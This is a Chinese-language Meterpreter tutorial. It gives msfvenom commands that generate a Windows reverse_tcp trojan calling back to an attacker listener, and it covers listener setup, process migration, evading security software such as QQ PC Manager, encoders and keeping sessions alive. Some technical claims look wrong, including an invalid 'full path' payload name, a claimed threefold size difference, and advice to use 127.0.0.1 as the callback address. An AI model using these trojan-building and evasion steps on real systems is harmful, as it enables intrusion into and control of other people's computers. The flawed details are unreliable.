Meterpreter高级使用指南（三）

木马生成篇

两种木马生成方式对比

1. 官方推荐方式：

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o payload.exe
   

   • 这是最常用的生成方式
   • 体积较小（约为第二种方式的1/3）
   • 路径封装在msfvenom命令内部，实际指向/modules/payloads/singles/

2. 完整路径方式：

   msfvenom -p windows/payloads/singles/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o payload.exe
   

   • 使用完整模块路径
   • 生成的文件体积较大（约3倍于第一种方式）
   • 与系统实际路径结构吻合

重要发现：

• 两种方式生成的payload都能正常工作
• 第一种方式是官方封装后的简化命令
• 推荐使用官方推荐方式，但了解完整路径方式有助于理解内部机制

监听配置篇

两种监听配置方式

1. 使用真实IP：

   set LHOST 192.168.1.1
   

   • 适用于固定IP环境
   • 需要确保IP地址不会变化

2. 使用本地回环地址：

   set LHOST 127.0.0.1
   

   • 省心省力，不受IP变更影响
   • 但在某些情况下可能导致监听失败

注意事项：

• 当出现特定警告时，即使开启了本地监听，木马也可能不会正常回弹
• 具体原因尚待研究，可能是Meterpreter的内部机制问题

木马执行篇

进程迁移注意事项

1. 目标进程选择：

   • 避免选择高级别进程（如explorer.exe）
   • 尝试迁移到权限较低的稳定进程

2. 进程稳定性问题：

   • 某些安全软件会检查启动项（如QQ电脑管家）
   • 迁移到这类进程可能导致安全软件报错，木马失效

3. 权限要求：

   • 进程迁移不是低权限操作
   • 建议先进行充分的信息收集
   • 确保会话稳定后再执行高权限操作

4. 网络环境影响：

   • 网络质量差可能导致会话死亡（无响应但不断开）
   • 上传/下载大文件时尤其需要注意

5. 系统环境差异：

   • 不同Windows版本表现可能完全不同
   • Win10可能被开启摄像头/麦克风
   • WinXP可能无法执行某些命令（如ps）

实战经验总结

1. 路径探索发现：

   • Meterpreter文件夹在文件系统中并不实际存在
   • 这是Metasploit框架的内部虚拟结构

2. 命令兼容性问题：

   • 某些路径逻辑在配置payload时可能不被识别
   • 坚持使用官方推荐命令格式最可靠

3. 隐蔽性建议：

   • 进程迁移需谨慎选择目标进程
   • 考虑目标进程的启动频率和稳定性
   • 避免引起安全软件警觉

4. 会话维护：

   • 高权限操作前确保会话稳定
   • 网络不稳定时避免执行大文件传输
   • 重要操作前先建立多个会话作为备份

高级技巧

1. Payload生成优化：

   • 使用-e参数指定编码器可减小体积
   • 多尝试几种编码方式比较效果

2. 监听稳定性：

   • 复杂网络环境下建议使用真实IP
   • 简单测试环境下可使用127.0.0.1

3. 错误排查：

   • 监听失败时检查防火墙设置
   • 确保端口未被占用
   • 验证payload与监听模块的兼容性

4. 环境适应性：

   • 针对不同目标系统生成特定payload
   • 32位/64位系统需要不同处理
   • 考虑目标系统可能的安全防护措施

本系列教程由parrotsec公众号和简书rabbitmask同步发布，如需更清晰的代码截图，可访问简书查看完整内容。